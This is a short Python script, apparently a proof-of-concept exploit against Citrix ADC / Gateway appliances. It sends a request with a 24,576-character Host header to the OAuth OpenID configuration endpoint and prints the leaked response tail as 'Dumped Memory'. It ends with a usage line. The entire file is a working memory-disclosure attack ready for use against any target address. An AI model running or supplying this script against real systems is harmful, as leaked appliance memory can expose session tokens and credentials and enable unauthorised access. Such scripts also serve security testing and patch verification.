#!/usr/bin/env python3

import sys
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser()
parser.add_argument('--target', help='The Citrix ADC / Gateway target, excluding the protocol (e.g. 192.168.1.200)')
args = parser.parse_args()

if args.target is None:
    print('Target must be provided (e.g. --target 192.168.1.200)')
    sys.exit(0)

hostname = args.target

if __name__ == "__main__":
    headers = {
        "Host": "a"*24576
    }
    r = requests.get(f"https://{hostname}/oauth/idp/.well-known/openid-configuration", headers=headers, verify=False,timeout=10)
    if r.status_code == 200:
        print("--- Dumped Memory ---")
        print(r.text[131050:])
        print("---      End      ---")
    else:
        print("Could not dump memory")

python exploit.py --target TARGET